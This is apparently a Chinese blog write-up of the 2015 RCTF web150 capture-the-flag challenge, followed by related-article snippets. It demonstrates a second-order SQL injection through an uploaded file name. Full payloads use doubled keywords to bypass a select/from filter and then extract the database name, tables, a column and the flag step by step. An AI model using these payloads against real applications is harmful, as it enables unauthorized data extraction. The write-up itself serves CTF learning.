关闭

2015年rctf web150 (Update set 二次注入)

标签: 数据库安全
1457人阅读 评论(0) 收藏 举报
分类:
坦诚说,这次的题目脑洞有的大



http://180.76.178.54:8001/17752375bfee20369364468686989278/memberpage.php

此题略去登陆与注册还有前面上传的坑不说,光说说update set 的二次注入:

文件名有注入漏洞:

首先先了解几个函数的意义:

mid(),hex(),conv()

mid():MID(str,pos,len)
从字符串str返回一个len个字符的子串,从位置pos开始。使用FROM的变种形式是ANSI SQL92语法。
mysql> select SUBSTRING('Quadratically',5,6);
    -> 'ratica'


hex():返回十六进制值N一个字符串的表示,在此N是一个长整型(BIGINT)数字,这等价于CONV(N,10,16)。如果N是NULL,返回NULL。
mysql> select HEX(255);
    -> 'FF'

CONV(N,from_base,to_base)
  在不同的数字基数之间转换数字。将数字 N 从from_base 转换到 to_base,并以字符串形式返回。如果任何一个参数为 NULL,那么返回值也为 NULL。参数 N 被解释为是一个整数,但是也可以被指定为一个整数或一个字符串。最小基为 2,最大基为 36。如果 to_base 是一个负值,N 将被看作为是一个有符号数字。否则,N 被视为是无符号的。CONV 以 64 位精度工作。
mysql> select conv(100,10,2);
  +----------------+
  | conv(100,10,2) |
  +----------------+
  | 1100100 |
  +----------------+


有了这些之后我们开始进攻了:

(1)首先爆数据库名:
a'+conv(hex((selselectect mid((selselectect database()),1,6))),16,10)+'a.jpg

因为这个题目对select from 有过滤,所以用 selselectect frfromom 代替
结果:
131277325825392

这样就在页面页面显示出来了数据库名的部分,只不过这些字符串被转换成了十进制,我们现在在把他们转出来

web_up

这些只是一部分,我们把mid的参数变换一下,把数据库的名字爆完全

a'+conv(hex((selselectect mid((selselectect database()),5,6))),16,10)+'a.jpg

结果:
129125716025700
转换的结果:

upload

我们把数据库的名字拼接完整就可以得到想要的数据库的名字:

web_upload

(2)我们下面来爆表:

a'+conv(hex((selselectect mid((selselectect table_name frfromom information_schema.tables where table_schema=database() limit 1,1),1,6))),16,10)+'a.jpg

结果是
114784820031327
转换后:
hello_

我们再做一下偏移:


a'+conv(hex((selselectect mid((selselectect table_name frfromom information_schema.tables where table_schema=database() limit 1,1),5,6))),16,10)+'a.jpg

结果是:
122455530955111
转换后:
o_flag

我们继续偏移:

a'+conv(hex((selselectect mid((selselectect table_name frfromom information_schema.tables where table_schema=database() limit 1,1),11,6))),16,10)+'a.jpg

结果是:
104906511837285
转换后:
_is_he

我们这样继续,然后爆出关键的表:

hello_flag_is_here

(3)我们爆字段:

a'+conv(hex((sselectelect mid((seselectlect column_name frfromom information_schema.columns where table_name=0x68656C6C6F5F666C61675F69735F68657265 limit 0,1),1,6))),16,10)+'a.jpg

然后出了字段:

i_am_flag

我们爆数据:

a'+conv(hex((sselectelect mid((selselectect i_am_flag frofromm hello_flag_is_here),1,6))),16,10)+'a.jpg

我们这样爆出了数据:

RCTF{!!_@m_Th.e_F!lag}


217的做法是………………
看了一下,发现要累断手,尤其那个验证码拖得要死人了


http://insight-labs.org/?p=1987

0
0
查看评论

二次sql注入

f6J,K{F4E0m0这种注入方式一般是在如下情况出现时发生:为了预防SQL注入攻击,而将输入到应用程序中的某些数据进行了“转义(escape)”,但是这些数据却又在“未被转义(Unescaped)”的查询窗体中重复使用。PHPChina 开源社区门户 L?7nB8U M0| N例如,这里...
  • phphot
  • phphot
  • 2007-11-30 16:21
  • 3779

二次sql注入

这种注入方式一般是在如下情况出现时发生:为了预防SQL注入攻击,而将输入到应用程序中的某些数据进行了“转义(escape)”,但是这些数据却又在“未被转义(Unescaped)”的查询窗体中重复使用。 例如,这里我们更改登录处理页面(在前面“攻击系统”一节中介绍的那个页面)以回避单引号: u...
  • Long_life_road
  • Long_life_road
  • 2017-05-14 07:44
  • 354

2015年rctf web150 (Update set 二次注入)

坦诚说,这次的题目脑洞有的大 http://180.76.178.54:8001/17752375bfee20369364468686989278/memberpage.php 此题略去登陆与注册还有前面上传的坑不说,光说说update set 的二次注入: 文件名有注入漏...
  • niexinming
  • niexinming
  • 2015-11-17 16:10
  • 1457

xUtils网络框架二次封装

  • 2016-03-21 15:39
  • 707KB
  • 下载

二次注入

二次注入是SQL注入的一种,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏。 那为什么需要二次注入,因为在字符型注入一般都有单引号的存在,首先构造注入闭合单引号,再通过第二次构造语句,在第一...
  • kuiguowei
  • kuiguowei
  • 2018-01-12 15:57
  • 23

Spring IOC注入(一)set方式注入

IOC注入的方式有好几种,现在就来学习一下set方式注入~ 可以注入的内容有: 1.基本类型(8中基本类型+字符串)的装配 2.对象类型的装配 3.集合的装配 现在就来讲讲怎么用set方式注入的吧~ 1.基本类型的装配: 配置文件set.xml: <beans xmlns="ht...
  • qq_33642117
  • qq_33642117
  • 2016-07-14 13:47
  • 7235

二次注入审计问题

http://www.jianshu.com/p/e7cf997d6ccb 危险的is_numeric——PHPYun 2015-06-26 二次注入漏洞分析 字数1455 阅读53 评论0 喜欢0 今天分析是PHPYun的一个二次注入漏洞(漏...
  • p656456564545
  • p656456564545
  • 2015-11-06 23:47
  • 209

MQTT客户端C语言代码(Paho库及二次封装)

  • 2016-05-30 00:57
  • 124KB
  • 下载

2015美国大学生数学建模竞赛题目及翻译

官网: http://www.comap-math.com/mcm/index.html PROBLEM A: Eradicating Ebola The world medical association has announced that their new medicatio...
  • u014492377
  • u014492377
  • 2015-02-06 09:30
  • 1665

2015羊年主流手机配置什么样?

2015羊年主流手机配置什么样?一、主机1. 64位操作系统,Android 5.0;2. 4G RAM 内存;3. 64G  Micro SD卡;二、屏幕1. 曲面屏幕;2. 2K分辨率,即2560 X 1440;3. 538 像素密度PPI;4. 5.5英寸屏幕;5. 蓝宝石屏幕,耐磨...
  • littletigerat
  • littletigerat
  • 2015-01-06 11:11
  • 2297
    个人资料
    • 访问:178961次
    • 积分:2834
    • 等级:
    • 排名:第14858名
    • 原创:108篇
    • 转载:7篇
    • 译文:0篇
    • 评论:52条
    文章分类